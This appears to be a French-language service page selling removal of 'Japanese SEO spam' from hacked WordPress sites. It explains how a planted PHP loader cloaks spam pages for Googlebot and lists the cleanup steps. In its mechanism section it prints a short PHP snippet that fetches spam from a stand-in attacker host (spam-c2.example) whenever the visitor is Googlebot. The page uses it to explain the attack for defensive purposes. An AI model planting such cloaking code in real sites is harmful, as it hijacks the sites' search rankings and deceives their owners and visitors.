Japanese SEO spam removal.

§ 01 — MÉCANISME

Ce qu'est le « spam SEO japonais », techniquement.

Un attaquant plante un loader PHP sur votre site (généralement dans wp-content/plugins/ ou wp-content/uploads/). Le loader génère des milliers de pages synthétiques avec des mots-clés japonais et des titres de produits japonais. Il réécrit votre sitemap pour que Googlebot les trouve. Les vrais visiteurs ne voient jamais le spam — le loader vérifie le User-Agent et sert votre site normal aux humains.

Le temps que vous le remarquiez, Google a indexé des centaines ou milliers d'URL en japonais sur votre domaine. Search Console envoie un avertissement de sécurité par e-mail. Les positions chutent. Le libellé « Piraté : injection de contenu » apparaît dans Search Console.

01 <?php
02 // Serve spam only to Googlebot. Real users see the normal site.
03 if (strpos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') !== false) {
04     $payload = file_get_contents('https://spam-c2.example/jp/' . $_SERVER['REQUEST_URI']);
05     echo $payload;
06     exit;
07 }

§ 02 — CE QUE NOUS SUPPRIMONS

Chaque endroit où cette infection se cache.

• [ LOADERS DE FICHIERS ]

  PHP obfusqué dans plugins, mu-plugins, thèmes et uploads. Nous lisons les diffs, pas les noms de fichiers.

• [ BASE DE DONNÉES ]

  Contenu spam injecté dans wp_posts, entrées wp_options autoload malveillantes, wp_usermeta suspect.

• [ SITEMAP ]

  Entrées de sitemap synthétiques générées supprimées ; sitemap propre régénéré et resoumis à Search Console.

• [ HTACCESS ]

  Règles de réécriture .htaccess et nginx qui redirigent Googlebot ou des chemins spécifiques — annulées.

• [ UTILISATEURS ADMIN ]

  Comptes administrateur dormants créés par le loader — supprimés. Tous les secrets admin restants sont rotés.

• [ VECTEUR D'ENTRÉE ]

  Plugin vulnérable ou identifiant volé identifié et fermé. Sans cette étape, le même trou est réutilisé en quelques semaines.

§ TARIFS

Forfait $279. Une seule fois. Par site.